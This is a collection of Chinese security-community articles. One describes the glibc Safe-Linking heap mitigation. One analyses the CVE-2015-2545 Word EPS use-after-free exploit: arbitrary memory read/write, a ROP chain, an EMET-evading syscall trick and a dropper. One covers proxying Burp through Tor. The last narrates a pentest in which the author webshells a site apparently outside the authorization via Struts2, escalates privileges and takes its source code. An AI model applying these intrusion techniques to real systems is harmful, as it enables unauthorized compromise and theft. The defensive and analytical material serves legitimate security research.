需要注意的是，Safe-Linking不是万能的，它可以阻止针对现代堆实现的所有利用尝试。但是，这朝着正确方向迈出了一步。根据我们过去的经验，这种特定的缓解措施会阻止我们多年来展示的几个主要漏洞。
## 背景
在二进制利用的早期，堆内部数据结构就一直是攻击者的主要目标。通过理解堆的malloc()和free()的工作方式，攻击者能够利用堆缓冲区中的早期漏洞，
如线性缓冲区溢出，将其转变为更强的利用原语如任意写(Arbitrary-Write)。
在2001年的Phrack文章中详细介绍了此示例：[Vudo Malloc
Tricks](http://phrack.org/issues/57/8.html)。本文介绍了多个堆实现的内部原理，并描述了现在的“Unsafe-Unlinking”。修改双向链表的FD和BK指针的攻击可以使用unlink()操作来触发任意写(例如,Small-Bins),从而在目标程序上执行代码。
实际上，2005年的glibc 2.3.6版本对这个的利用进行了修复，称为““Safe-Unlinking”。它在unlink之前先验证了双向链表的完整性，如下图所示：
尽管这一利用在15年前被阻止，但当时没有人提出类似的解决方案来保护单向链表的指针。利用这一点，攻击者将注意力转移到这些未受保护的单向链表上，如Fastbin和TCache。破坏单向链表允许攻击者获得任意Malloc原语，即在任意内存地址中分配一个小的可控地址。
在本文中，我们结合了近20年的安全漏洞，并演示了我们如何创建一种安全机制来保护单向链表。
在深入研究Safe-Unlinking的设计之前，让我们回顾一下针对Fast-Bins的利用。
## Fast-Bin 利用案例 – CVE-2020-6007:
在研究智能灯泡的过程中，我们发现了一个基于堆的缓冲区溢出漏洞：[CVE-2020-6007](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6007)。在这个漏洞的利用过程中，我们演示了攻击者如何利用未受保护的Fastbin单链表将堆缓冲区溢出转变为更强大的任意写(Arbitrary-Write)。
在我们的测试案例中，堆是dlmalloc实现的，具体的说是编译为32位版本的uClibc。下图显示了堆实现所使用的数据：
1.当分配和使用缓冲区时，前两个字段存储在用户的数据缓冲区之前。
2.当释放缓冲区并将其置入Fast-Bin中时，也会使用第三个字段，并指向Fast-Bin链表中的下一个节点。此字段位于用户缓冲区的前4个字节处。
3.当缓冲区被释放并且没有存入FastBin中时，第三和第四个字段都被用作双链表的一部分。这些字段位于用户缓冲区的前8个字节处。
Fast-Bins
是一个由各种大小的“Bins”组成的数组，每个都包含一个单链表，最多不超过特定大小。最小的bin大小包含0x10字节的缓冲区，下一个包含0x11到0x18字节的缓冲区，依此类推。
### 溢出方案
这个漏洞为我们提供了一个基于堆的缓冲区溢出，我们的计划是溢出FastBin中相邻的空闲缓冲区。下图显示了溢出之前的缓冲区状况:
图3:我们可控缓冲区（蓝色）放置在freed的缓冲区（紫色）之前
溢出后的两个缓冲区：
图4：我们的溢出修改了freed缓冲区的size和ptr字段（以红色显示）
我们希望修改的是FastBin的单链表指针。通过将这个指针更改为我们自己的任意地址，我们可以触发堆，使其认为新释放的chunk现在存储在那里。图5显示了Fast-Bin破坏的单链表，在堆中看起来如下：
图5：红色标记FastBin破坏的单链表
通过触发与FastBin大小相匹配的分配，我们获得Malloc Where原语。
注意：可能很多人会说，我们获得的Malloc-Where原语受到限制，因为“ Free Chunk”应以与当前Fast-Bin匹配的size字段开头。但是，此附加的检查仅在glibc中实现，而在uClibc-NG中却没有。因此，对于我们的Malloc-Where原语，没有任何限制。
## Safe-Linking 介绍
在完成智能灯泡的研究后，在36C3开始之前，我有一些空闲时间，我的计划是解决一些来自最近CTF比赛的pwn挑战。相反，我发现自己在重新思考最近开发的exploit。近十年来，我一直以同样的方式利用基于堆的缓冲区溢出，总是以堆中的单链表为目标。即使在CTF挑战中，我仍然关注TCache易受攻击的单链表。当然，有某种方法可以减轻这种流行的利用原语。
这就是Safe-Linking的出现。Safe-Linking利用了地址随机化（ASLR）中的随机性来“sign”指针，与chunk对齐完整性检查结合使用时，这种新技术可以防止指针被劫持。
我们的解决方案可防止现代漏洞中经常使用的3种常见攻击：
* 1.部分指针覆盖：修改指针的低字节（Little Endian）。
* 2.全指针覆盖：劫持指向任意位置的指针。
* 3.未对齐的chunks：将list指向未对齐的地址。
### 威胁建模
在我们的威胁模型中，攻击者具有以下功能：
* 1.堆缓冲区上的受控缓冲区上溢/下溢。
* 2.相对任意写堆缓冲区
需要注意的是，我们的攻击者不知道堆位于何处，因为ASLR将堆的基地址与`mmap_base`一起随机分配。
我们的解决方案提高了门槛并阻止了攻击者基于堆的攻击尝试。一旦部署，攻击者必须以堆泄漏/指针泄漏的形式拥有附加功能。我们保护的一个示例场景是位置相关二进制文件（加载时不带ASLR），它在解析用户输入时有堆溢出。在我们之前的灯泡研究示例中，就是这种情况。
到目前为止，攻击者仅通过依赖二进制文件的固定地址，就能够在不泄漏堆的情况下利用这些目标，并且只对堆的分配进行最小程度的控制。我们可以阻止这种利用尝试，并在将堆分配重定向到目标二进制文件中的固定地址时，利用堆的ASLR获得随机性。
### 保护
在Linux机器上，堆是通过`mmap_base`随机分配的，其逻辑如下:
random_base = ((1 << rndbits) - 1) << PAGE_SHIFT)
`rndbit` 在32位Linux上默认为8，在64位上默认为28。
我们将单链表指针存储为的地址L。现在，我们定义以下计算：
Mask := (L >> PAGE_SHIFT)
根据上面显示的ASLR公式，移位将来自内存地址的第一个随机位定位在掩码的LSBit上。
这就引出了我们的保护方案。我们用P表示单链表指针，方案如下:
* 1.PROTECT(P) := (L >> PAGE_SHIFT) XOR (P)
* 2.*L = PROTECT(P)
代码版本：
#define PROTECT_PTR(pos, ptr, type)
((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))
#define REVEAL_PTR(pos, ptr, type)
PROTECT_PTR(pos, ptr, type)
这样，地址L中的随机位被放置在存储的受保护指针的LSB的顶部，如图6所示：
图6:掩码指针P被随机位覆盖，如红色所示
这个保护层防止攻击者在不知道随机的ASLR位(红色显示)的情况下修改指针到受控制的值。
但是，如果您注意一下，就会很容易发现我们在 Safe-Unlinking
机制方面处于劣势。虽然攻击者不能正确地劫持指针，但是我们也受到限制，因为我们不能检查是否发生了指针修改。这是进行额外检查的地方。
堆中所有已分配的chunk均与已知的固定偏移对齐，该偏移通常在32位上为8个字节，在64位上为16个字节。通过检查每个reveal()ed指针是否对齐，我们添加了两个重要的层:
* 攻击者必须正确猜测对齐位。
* 攻击者无法将chunk指向未对齐的内存地址。
在64位机器上，这种保护导致攻击尝试失败16次中的15次。如果我们返回到图6，我们可以看到受保护的指针的值以半字节0x3结尾，否则他将破坏该值并使对齐检查失败。
即使是单独使用，此对齐检查也可以防止已知的利用原语，例如本文中描述的原语，该原语描述了如何将Fast-Bin指向malloc()hook以立即获取代码执行。
注：在intel
CPU上，glibc在32位和64位体系结构上仍然使用0x10字节的对齐方式，这与上面刚刚描述的常见情况不同。这意味着对于glibc，我们在32位上提供了增强的保护，并且可以阻止16次攻击尝试中的15次。
### 示例
下图显示了我们提交给glibc的初始补丁的片段：
图7：来自补丁程序初始版本的示例代码片段
虽然补丁已经被清除，但是我们仍然可以看到保护glibc的TCache所需的代码修改是非常容易的。这就引出了下一部分基准测试。
### 基准测试
基准测试表明，添加的代码总计为:对于free()2-3个asm指令和对于malloc()3-4个asm指令。在glibc上，即使在GCP中的单个vCPU上总计10亿次malloc()/
free()操作，这种更改可以忽略不计，测试在64位版本的库上运行。下面是在同一GCP服务器上的大小为128
(0x80)字节的缓冲区上运行glibc的基准测试malloco-simple后的结果:
图8:glibc malloc-simple测试结果
每次测试的更快结果用粗体标记。正如我们所看到的，结果几乎是一样的，而且在一半的测试中，修补版本的速度更快，这实际上没有任何意义。这通常意味着服务器上的噪音级别远高于所添加功能对整体结果的实际影响。简而言之，这意味着我们新功能所增加的开销可以忽略不计，这是个好消息。
再举一个例子，对tcmalloc（gperftools）测试的最坏影响是1.5％的开销，而平均值仅为0.02％。
这些测试结果归因于所建议机制的精简设计：
* 1.该保护没有内存开销。
* 2.保护不需要初始化。
* 3.不需要特殊的随机性来源。
* 4.保护只使用L和P，它们都在指针需要被protect()或reveal()时出现。
需要特别注意的是，FastBin和TCache都使用单链表来保存数据，这一点在glibc的文档中有详细说明。它们只支持put/get
API，没有通用的功能遍历整个列表并保持完整。虽然这种功能确实存在，但它只用于收集malloc统计信息(mallinfo)，因此访问单链接指针的额外开销可以忽略不计。
### 回顾我们的线程模型
对齐检查减少了攻击面，并要求Fastbin或TCache的chunk指向一个对齐的内存地址。这直接阻止了已知的利。
就像Safe-Unlinking一样，我们的保护依赖于这样一个事实：攻击者不知道合法的堆指针是什么样子的。在双链表方案中，能够伪造内存结构并知道有效堆指针的结构的攻击者可以成功伪造有效的FD/BK对指针，该指针不会触发任意写原语，但是允许在攻击者控制的地址上创建一个chunk。
在单链表场景中，没有指针泄漏的攻击者将无法完全控制重写的指针，这是因为保护层依赖于从部署的ASLR继承的随机性。建议PAGE_SHIFT将随机位放在存储的指针的第一个位上。与对齐检查一起，这在阻止了攻击者更改保存的单链指针的最低位/字节(小端)。
### Chromium’s MaskPtr()
我们的目的是将Safe-Unlinking合并到主要的开放源代码中，这些源代码实现了包含单链表的各种堆。其中一个这样的实现是由Google开发的tcmalloc，它当时只是作为gperftools存储库的一部分开放源码的。在将我们的补丁提交给gperftools之前，我们决定先看看Chromium的Git存储库，以防它们可能使用不同版本的tcmalloc。事实证明，他们做到了。
我们直接查看结果：
* 1.gperftools自2007年以来已经发布了公开版，最新版本是2.7.90。
* 2.Chromium的tcmalloc看起来好像是基于gperftool的2.0版本。
* 3.2020年2月，在我们已经向所有开源提交了补丁程序之后，Google发布了一个官方的[TCMalloc GitHub存储库](https://github.com/google/tcmalloc)，该存储库与之前的两种实现都不相同。
在检查Chromium的版本时，我们发现他们的TCache现在不仅基于双向链表（现在称为FL，for Free
List），而不是基于单链表（最初称为SLL），还添加了一个特别的函数MaskPtr()。仔细查看他们2012年发布的问题，可以看到以下代码片段:
inline void* MaskPtr(void* p) {
// Maximize ASLR entropy and guarantee the result is an invalid address.
const uintptr_t mask =
~(reinterpret_cast<uintptr_t>(TCMalloc_SystemAlloc) >> 13);
return reinterpret_cast<void*>(reinterpret_cast<uintptr_t>(p) ^ mask);
}
代码与我们的PROTECT-PTR实现非常相似。此外，这个补丁的作者特别提到“这里的目标是防止使用freelist攻击”
看起来Chromium的安全团队引入了他们自己的Safe-Linking到Chromium的tcmalloc的版本，他们在8年前就这么做了，这让人佩服。
通过检查他们的代码，我们可以看到他们的掩码是基于代码部分（TCMalloc_SystemAlloc）中的一个指针(随机值)，而不是实现中使用的堆位置。另外，它们将地址移位硬编码值13，并且还反转其掩码的位。由于找不到他们设计的文档，我们可以从代码中读取位反转用于确保结果是无效地址。
通过阅读他们的日志，我们还了解到他们估计这个特性的性能开销小于2%。
与我们的设计相比，Chromium的实现包含了一个额外的内存引用和一个额外的asm指令，用于位反转。不仅如此，它们的指针掩码无需额外的对齐检查即可使用，因此代码无法在不导致进程崩溃的情况下提前捕获指针修改。
## 总结
我们测试了补丁程序，以将建议的缓解措施成功集成到最新版本的glibc（ptmalloc），uClibc-NG（dlmalloc），gperftools（tcmalloc）和更高版本的Google全新TCMalloc。此外，我们还指出了Chromium的开发团队使用我们提交给gperftools的版本的“Safe-Linking”，希望我们针对gperftools的性能提升能够在Chromium版本中发挥作用。
当我们开始研究Safe-Linking时，我们相信将Safe-Linking集成到这3个（现在为4个）主流库中，将会导致其他库在开源社区和行业内的封闭软件中得到更广泛的采用。自2012年以来，基础版本的Safe-Linking已嵌入Chromium中，这一事实证明了该解决方案的成熟性。
以下是整合的结果，与撰写此博客文章时的结果相同。
### glibc（ptmalloc）
**状态** ：集成。将于2020 年8月以2.32版发布。
**激活** ：默认情况下打开。
GNU的glibc项目的维护者非常积极响应合作。主要的障碍是签署法律文件，这将使我们作为公司的员工可以向GNU的存储库捐赠GPL许可的源代码。一旦解决了这个问题，过程就非常顺利了，我们的补丁的已提交到最新版本库中，可以在即将发布的版本中使用。
我们要感谢glibc的维护者在整个过程中给予的合作。他们愿意将一个“默认打开”的安全特性集成到他们的项目中，这令人振奋，尤其是与我们最初的期望相比，以及与我们从其他存储库收到的响应相比。
### uClibc-NG（dlmalloc）
**状态** ：已在v1.0.33版本中发布。
**激活** ：默认情况下打开。
向uClibc-NG提交我们的功能非常容易，并且已将其立即集成到此[commit](https://gogs.waldemar-brodkorb.de/oss/uclibc-ng/commit/886878b22424d6f95bcdeee55ada72049d21547c)中。我们可以自豪地说，安全链接已作为uClibc-NG版本v1.0.33的一部分发布。如果我们回到对智能灯泡的研究，此功能将阻止我们的利用，并迫使我们在产品中发现其他漏洞。
我们再次感谢uClibc-NG的维护者在此过程中的合作。
### gperftools（tcmalloc）
**现状** ：正在进行整合。
**激活** ：默认为关闭。
尽管我们之前提到了Chromium的MaskPtr()功能（自2012年起可用），但该功能并未在tcmalloc的两个公开版本中找到它。因此，我们很幸运能向gperftools的tcmalloc实现提交Safe-Linking。
由于gperftools存储库的复杂状态，现在谷歌的官方TCMalloc存储库是公开的，这个过程正在取得进展，但是比较缓慢。在2020年1月开始的pull请求中，您可以看到我们将该特性集成到存储库中的努力。最初的反应是我们担心的:我们的“破坏性能”功能。提醒一下，在使用存储库的标准测试套件时，最坏的情况是产生1.5%的开销，而平均只有0.02%。
最后，我们勉强决定将这个功能添加为“默认关闭”，希望有一天会有人自己激活这个功能。这个特性还没有被合并，但是我们希望它在不久的将来会被合并。
我们仍然要感谢这个项目的唯一维护者，他提供了所有必要的准备工作，以便允许用户使用配置选项来启用Safe-Linking。
### TCMalloc（tcmalloc）
**状态** ：已拒绝。
**激活** ： N / A。
我们在此[pull](https://github.com/google/tcmalloc/pull/19)请求中将补丁提交给了TCMalloc
，但不幸的是，该请求被立即拒绝了。我们再一次听到“此功能的性能成本太高而无法合并”，并且即使作为“默认关闭”可配置功能，他们也不会将其集成：虽然macro-protected,它增加了另一个配置,需要构建并定期测试,以确保一切都保持工作。我们在谷歌中找不到任何能够帮助我们解决与存储库维护者之间的冲突的代表，所以我们让它保持原样。
不幸的是，谷歌最常见的malloc()的实现，在大多数C/C++项目中使用（如TCMOLLC文档中提到的），并没有集成一个安全特性，这使得在他们的项目中利用漏洞变得更加困难。
## 最后说明
Safe-Linking并不是阻止所有针对现代堆实现的攻击尝试的灵丹妙药。然而，这是朝着正确方向迈出的又一步。通过迫使攻击者在开始基于堆的攻击之前就存在指针泄漏漏洞，我们逐渐提高了标准。
从我们过去的经验来看，这种特定的缓解会阻止我们多年来利用的几个主要漏洞，从而将“破坏”的软件产品转变为“无法利用”（至少在我们各自研究项目时存在漏洞）。
还需要注意的是，我们的解决方案不仅限于堆实现。它还可以通过位于用户缓冲区附近的单链表指针来使危险的数据结构获得完整性保护，而不会增加任何内存开销，并且对运行时的影响可以忽略不计。这个解决方案可以很容易地扩展到ASLR系统中的每个单链表。
从我们在2019年底首次解决此问题开始，到设计安全缓解措施，最后将其集成为安全功能，这是一段艰难的旅程，默认情况下，该功能可在世界上两个最著名的libc实现中使用：glibc和uClibc-NG。最后，我们在集成此功能方面取得了比最初预期更好的结果，因此，我们再次感谢所有帮助实现此想法的维护者和研究人员。我们逐渐提高了漏洞利用水平，并帮助保护全世界的用户。 | 社区文章 |
作者： **xd0ol1@知道创宇404实验室**
#### 0 引子
在上一篇[文章](http://paper.seebug.org/351/)中，我们分析了 Office 文档型漏洞 CVE-2015-1641
的利用，本文将继续对此类漏洞中的另一常见案例
CVE-2015-2545（[MS15-099](https://technet.microsoft.com/library/security/ms15-099)）展开分析。相较而言，这些
Exp 的威胁性更大，例如可采用“Word EPS + Windows EoP”的组合，且很多地方借鉴了浏览器漏洞的利用思路，因此还是很值得我们学习研究的。
#### 1 样本信息
分析中用到的样本信息如下：
SHA256：3a65d4b3bc18352675cd02154ffb388035463089d59aad36cadb1646f3a3b0fc
Size：420,577 bytes
Type：Office Open XML Document
我们将此文件的后缀名改为 zip，解压后可得到如下目录结构：
图0 样本通过 zip
解压后的目录结构
其中，`image1.eps` 是精心设计的漏洞利用文件，即由 PostScript 语言编写的特殊图形文件，这里 Word 和 PostScript
的关系一定层度上可类比为 IE 浏览器和 JavaScript 的关系，更多关于 PostScript 语言的说明可参考该[手册](https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf)。
此外，本文的分析环境为 Win7 x86+Office 2007 SP3，EPSIMP32 模块的版本信息如下：
图1
EPSIMP32 模块的版本信息
#### 2 漏洞原理分析
首先我们看下原理，简单来说就是 Word 程序在解析 EPS（Encapsulated PostScript）图形文件时存在一个 UAF（Use-After-Free）的漏洞，其错误代码位于 EPSIMP32 模块。为了便于理解，我们给出样本中触发此漏洞的那部分 PostScript
代码，当然有经过一定的反混淆处理：
图2
触发漏洞的那部分 PostScript 代码（PoC）
其中操作符 copy 和 forall 的定义如下：
图3 dict
操作时 copy 和 forall 的定义
**结合上述代码，我们给出漏洞原理更为具体的描述：当通过 forall 操作 dict2 对象时，将对 dict2 中的 ‘key-value’
进行迭代处理，且 pNext 指针指向下一对待处理的 ‘key-value’。然而，proc 中存在`dict1 dict2 copy`
的操作，此过程会先释放掉 dict2 原有的 ‘key-value’ 空间，之后再申请新空间进行接下来的拷贝，即原先 pNext 指向的 ‘key-value’ 空间被释放了。而后在 putinterval 操作中将重新用到原先 pNext
指向的空间，并向其中写入特定的字符串。因此，在下一次迭代时，pNext 指向的数据就变成了我们所构造的 ‘key-value’。**
接着我们来完整分析下此过程，这里给出 PostScript 对象和 dict 下 ‘key-value’ 对象的定义，它们在后面会涉及到：
//PostScript对象的定义
struct PostScript_object {
dword type;
dword attr;
dword value1;
dword value2;
} ps_obj;
//字典‘key-value’对象的定义
struct Dictionary_key_value {
dword *pNext;
dword dwIndex;
ps_obj key;
ps_obj value;
} dict_kv;
就每个 PostScript 操作符而言，都有一个具体的处理函数与之对应，我们可以很方便的由 IDA 进行查看，之后通过相对偏移的计算就可以在
OllyDBG 中定位到关键点了：
图4
操作符对应的处理函数
借助如下断点我们将在进程加载 EPSIMP32 模块时断下来：
bp LoadLibraryW, UNICODE [dword ptr [esp + 0x04] + 0x6e] == “EPSIMP32.FLT”
图5 WINWORD
进程加载 EPSIMP32 模块
很自然的我们会想到在 forall 的对应函数上下断，可以得到与 dict 操作迭代处理相关的代码段如下，其中 EPSIMP32 的模块基址为
0x73790000：
图6 dict 在
forall 操作时的迭代处理
此过程包含4个 call 调用，其中第一个 call 用于获取当前要处理的 ‘key-value’ 和指针 pNext，即指向下次处理的 ‘key-value’，而第二个和第三个 call 分别用于将 key 和 value 存储到操作栈上，最后的第四个 call 则用于处理 proc 中的操作。
我们来跟一下，在第一个 call 调用时，ecx 寄存器指向的内容为 dict2 内部 hash-table的 指针、hash-table 的大小以及包含的
‘key-value’ 个数：
图7 ecx
寄存器指向的 hash-table
此调用执行完成后，我们会得到 keyZ1 和指向 keyZ2 的指针：
图8 keyZ1
及指向 keyZ2 的指针
而当第二个和第三个 call 调用完成后，我们可以看到 keyZ1 的 key 和 value 被存储到了操作栈上：
图9 将 keyZ1
存储到操作栈上
在第四个 call 调用中，对于 proc 的各操作符，首先会获取对应处理函数的地址，而后以虚函数的方式进行调用，相关代码片段如下：
图10
调用操作符的处理函数
这里我们主要关注 copy 操作，由分析可知，在其处理过程中会将 dict2 内部 hash-table 上对应的所有 ‘key-value’
空间都释放掉，即上述 pNext 指向的 keyZ2 空间被释放掉了，如下给出的是进行该 delete 操作的函数入口：
图11
delete ‘key-value’ 的函数入口
同样，此时入参 ecx 寄存器指向的内容中包含了 dict2 的 hash-table 指针，接下去的操作将逐次释放 keyZ1~keyZ8 的空间，最后
hash-table 也会被释放掉：
图12 释放
dict2 上的 ‘key-value’ 空间
而释放的 keyZ2 空间，即 pNext 指向的空间，将在随后的 putinterval 操作中被重新写入特定的伪造数据：
图13 由
putinterval 操作写入伪造数据
因此，在 forall 的下一次迭代过程中，根据 pNext 指针获取的 ‘key-value’ 就变成了我们所伪造的数据，并且之后同样被存储到了操作栈上：
图14 伪造的
‘key-value’
#### 3 漏洞利用分析
这里我们接着上一节的内容来继续跟下漏洞的利用，此时伪造的 ‘key-value’ 已经被存储到了操作栈上，下述给出的是本次迭代中 forall 操作所处理的
proc 代码：
图15
第二次迭代时处理的 proc 代码
也就是将操作栈上的 key 和 value 分别赋给 `xx_19169` 以及 `xx_26500`，操作完成后得到的 `xx_19169` 如下：
图16
xx_19169 中的内容
可以看到，`xx_19169` 的 type 字段为 0x00000003，即表示的是整型，所以对于本文的分析环境来说，接下去的处理过程将会按照 “old
version” 的分支来进行：
图17
不同版本执行分支的选择
而 `xx_26500` 则是实现漏洞利用的关键，由图18可知它的 type 字段为 0x00000500，表明这是一个string类型，且 value2
字段为泄露出来的指针，在此基础上经过一系列构造后，可得到 string 对象如下：
图18 获取 RW
primitives
在 PostScript 中会为每个 string 对象分配专门的 buffer 用于存储实际的字符串内容，其基址及大小就保存在该 string
对象中。就最终样本伪造的 string 对象来说，其 buffer 基址为 0x00000000，且大小为
0x7fffffff，因此借助此对象可以实现任意内存的读写。之后代码会通过获取的 RW primitives 来查找 ROP gadgets，从而创建
ROP 链，同时由 putinterval 操作将 shellcode 和 payload 写入内存：
图19 创建 ROP
链并写入 shellcode 和 payload
之后再通过修改操作符 bytesavailable 处理函数中的如下 call 指针跳转到 ROP 链上：
图20 控制 EIP
跳转到 ROP 链
其中，ROP 链包含的指令如下，可以看到首先进行的是 stack pivot 操作，接着会将 shellcode 所在的页属性置为可执行，最后跳转到
shellcode 的入口：
图21 ROP
链中的操作指令
这里借助了一个小技巧来绕过保护程序对 ZwProtectVirtualMemory 调用的检测，对于 ntdll 模块中的 Nt/Zw 函数，除了赋给
eax 寄存器的 id 不同外，其余部分都是相同的。ROP 链在完成 eax 的赋值后，也就是将 ZwProtectVirtualMemory 函数中的
id 赋给 eax 后，会直接跳过 ZwCreateEvent 函数（该函数未被
hook）的前5字节并执行余下的那部分指令，通过这种方式能实现任意的系统调用而不会被检测到：
图22 绕过保护程序对
ZwProtectVirtualMemory 调用的检测
下面我们再来简单看下 shellcode，和大多数情况一样，它的主要作用就是获取相关的 API 函数，然后创建并执行 payload 文件。样本中
shellcode 的部分数据经过了加密处理，因此会有一个解密的操作：
图23 对
shellcode 中的数据进行解密
而后，代码通过查找 LDR 链的方式来获取 msvcrt 模块的基址：
图24 获取
msvcrt 模块的基址
之后从 msvcrt 模块的导入表中得到函数 GetModuleHandleA 和 GetProcAddress 的入口地址，由
GetModuleHandleA 函数可以获取到 kernel32 模块的句柄，最后再借助 GetProcAddress 调用来逐个获取下述的导出函数地址：
图25 获取相关的
API 函数
紧接着 payload 的内容，即图19所示代码中介于首尾字符串 “5555555566666666” 之间的那部分数据，会被写入到临时目录下的
plugin.dll 文件中，分析可知这是一个恶意的程序：
图26 样本创建的恶意
dll 文件
通过 LoadLibraryA 函数加载该 plugin.dll 模块后，将会在临时目录下另外再释放一个名为 igfxe.exe
的程序，其作用是获取远程文件并执行之：
图27 释放的
igfxe.exe 程序
#### 4 结语
本文基于样本文档分析了 CVE-2015-2545 的利用，然鉴于笔者就 PostScript
语言所知尚少，固有些点也是没能给讲透彻，希望能有更多这类漏洞的分析文章出现。另外，错误之处还望各位加以斧正，欢迎一起交流:P
#### 5 参考
[1] [The EPS Awakens](https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html)
[2] [Microsoft Office Encapsulated PostScript and Windows Privilege Escalation
Zero-Days](https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf)
[3] [警惕利用Microsoft Office
EPS漏洞进行的攻击](http://seclab.dbappsecurity.com.cn/?p=603)
[4] [针对CVE-2015-2545漏洞研究分析](http://www.4hou.com/technology/4218.html)
[5] [文档型漏洞攻击研究报告](http://www.freebuf.com/news/139014.html)
[6] [PostScript Language Reference Manual](https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf)
[7] [How the EPS File Exploit Works to Bypass EMET
(CVE-2015-2545)](http://blog.morphisec.com/exploit-bypass-emet-cve-2015-2545)
[8] [CVE-2015-2545 ITW EMET Evasion](http://casual-scrutiny.blogspot.com/2016/02/cve-2015-2545-itw-emet-evasion.html)
* * * | 社区文章 |
配置环境：MacOS，Burp Suite，Tor服务，Firefox浏览器和brew。
# brew
ps.brew 是 Mac 下的一个包管理工具，类似于 centos 下的 yum，可以很方便地进行安装/卸载/更新各种软件包。
安装tor服务（不是TorBrowser软件包）。在Mac上，您可以使用`brew install
tor`完成安装Tor服务。如果您没有安装brew，可以运行以下命令：
/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)
要想获得更多关于brew的信息，参阅 <https://brew.sh/>
使用以下命令运行tor服务：`brew service start tor`利用`brew services list`,可以查看正在运行的tor
brew services list # 查看使用brew安装的服务列表
# 配置Firefox
将手动代理配置设置为127.0.0.1端口8080。
确保SOCKS设置为v5。不支持V4。
（SOCKS：防火墙安全会话转换协议 （Socks: Protocol for sessions traversal across firewall
securely） SOCKS 协议提供一个框架，为在 TCP 和 UDP
域中的客户机/服务器应用程序能更方便安全地使用网络防火墙所提供的服务。SOCKSv5 为这些协议穿越提供了有力的认证方案，而 SOCKSv4 为
TELNET 、FTP 、HTTP 、WAIS 和 GOPHER 等基于 TCP 协议的客户/服务器程序仅仅提供了一个不安全防火墙穿越。新的协议 SOCKS
v5 在 SOCKSV4基础上作了进一步扩展，从而可以支持 UDP ，并对其框架规定作了扩展，以支持安全认证方案。同时它还采用地址解析方案
（addressing scheme） 以支持域名和 IPV6 地址。）
# 配置Burp
在Proxy选项中，确保它也在127.0.0.1端口8080上运行。（默认情况下应已设置)
在“用户选项标签（User Option tag）——>连接（Connections）下,设置SOCKS代理。主机 -127.0.0.1、端口9050(或运行tor服务的端口，也可能是9150)。
localhost的nmap输出应如下所示：
太棒了！现在您可以拦截和修改洋葱流量了。在Burp Pro中，您还可以设置Collaborator
Everywhere，只要洋葱服务配置不正确，它就会ping回Burp服务器，显示其原始IP。
Happy Hacking!
原文链接：<https://medium.com/@pentest_it/how-to-intercept-tor-hidden-service-requests-with-burp-proxy-6214035963a0> | 社区文章 |
# 记一次对某站点的渗透测试(bypass)
## 0x01、起因
某天A把我留下，想让我检测一下某站点的安全程度（有授权的，领导的任务罢了）
我想了没想就拒绝了，说，上次不是给你挖出过一个sql注入了吗
他说，不亏待你，有额外奖励的
不是因为奖励啊，只是单纯的喜欢渗透网站罢了
垃圾水文，轻喷
## 0x02、一战
先访问某站（原谅我不放图片，不然无法过审）
看样子是一个平平无奇的网站
看到.action后缀，立马想到java环境，多半是tomcat+struts2
直接掏出大宝贝一把嗦
很明显失败了
不慌，再看看别的啥的
扫了端口发现oa系统，通过信息收集手段获取账号密码
但我认为此处功能点没什么用，故暂时放弃（打脸了）
掏出lijiejie的神器一顿扫，也只发现了一处DS_Store文件泄露
棒极了，啥都没有
接下来还发现了一处反射xss
但这种漏洞要是交差，估计会被A骂死
身为聪明勇敢的读书人，怎么可能会放弃呢
备份文件，扫不到；目录爆破，啥都没有；中间件漏洞，不存在；端口服务开放，做梦呢
就连废弃系统都在嘲笑我
好在天无绝人之路，我在网站底部看到了一丝希望
此时我的思路是:fofa找相同系统站点------getshell------拖源码审计------再回到主站
直接fofa大宝贝一把梭
但站点少的可怜，拿lijiejie的神器跑了一轮，也没有啥泄露。。。
还是硬着头皮看了一眼
这次运气挺好，使用相同系统的站点存在struts2漏洞
果断上传拿shell
工具也有不准的时候，虽然显示上传失败了，但仍然能getshell
冰蝎连接成功！芜湖，起飞
但接下来这权限着实把我整吐了，systeminfo无法执行，rar也用不了，但我又懒得一个一个下载源码
因为本人太菜了，提权基本上不会
但身为聪明勇敢的读书人，怎么能放弃呢？
这里就去讨教了一下某前辈
对某前辈表示感谢
因为此处使用的windows环境，不太方便反弹shell，把木马换成了哥斯拉的马儿
哥斯拉下有个模块，方便操作shell
监听——nc直连——运行systeminfo文件。成功！
复制补丁号，然后找到了一下缺失的补丁
在此推荐某位师傅的网站：<https://bugs.hacking8.com/tiquan/，方便查找>
这里采用Potato提权
但生活总喜欢在为我关了一扇窗后，再用门狠狠的夹我的脑子
提权一直失败，换用了其它的方式也不行
后面才知道，原来SweetPotato源码中的默认路径与我的环境不符，要重新修改后再编译
编译完，再重新执行
成功提权！
然后就是源码打包，下载
(PS：用哥斯拉默认的源码打包，下载下来后文件会报错，而且缺失很多，也不知道为什么，但权限提升后用7z打包就好了，很奇怪。如果有知道的表哥，在下方留个联系方式)
接下来就是java源码审计了
大体目录是这样的。老规矩，先翻看一下配置文件，看一下它用了哪些框架
看样子是使用了Hibernate+Struts2+Spring框架
用jd-gui快速反编译class文件，获取java源码
将Hibernate和Struts2框架的相关配置文件、action对象、filter大体熟悉以后，就开始审计了
这里不得不吐槽一句，这个开发是真的懒，部分源码还留着与该站点相关的注释
既然是为了证明危害，那么基本是以getshell-sql-信息泄露为主
全文查找文件上传的地方
在搜索处发现了一处可以upload的地点
（此处图片找不到了，假装我是图片1）
查看对应java文件源码，发现无任何过滤
去掉注释，上传，不过不知道为什么会出现这种状况，查询了很多资料也没弄明白
直接构造接口上传，发现会有拦截，但本地源码审计无拦截，估计是某站点二次开发了
### 第一处水洞：账号密码可爆破
顺便看了一下oa系统
成熟的框架，也导致了sql注入和越权不存在
但是逻辑漏洞仍然存在，修改密码处未限制，能批量爆破账号改密码
后面因不可抗力，A也叫停了我，遂暂停了测试
## 0x03、二战
几个星期后的某天，A又提到了某站点，从它口中得知，该站点翻新了
那我上次的源码也约等于白费了。。。
果不其然，A又找到了我，我也是很《轻松》且《愉快》的接下了任务
### 第一处漏洞：弱口令
我想了想，既然翻新了，那多多少少会加点东西
更新后发现了部分文章页面泄露了某editor的组件信息
抱着尝试的心态，来到了登录页面
结果发现，admin/admin一发入魂
### 第二处漏洞：部分源码+密钥泄露
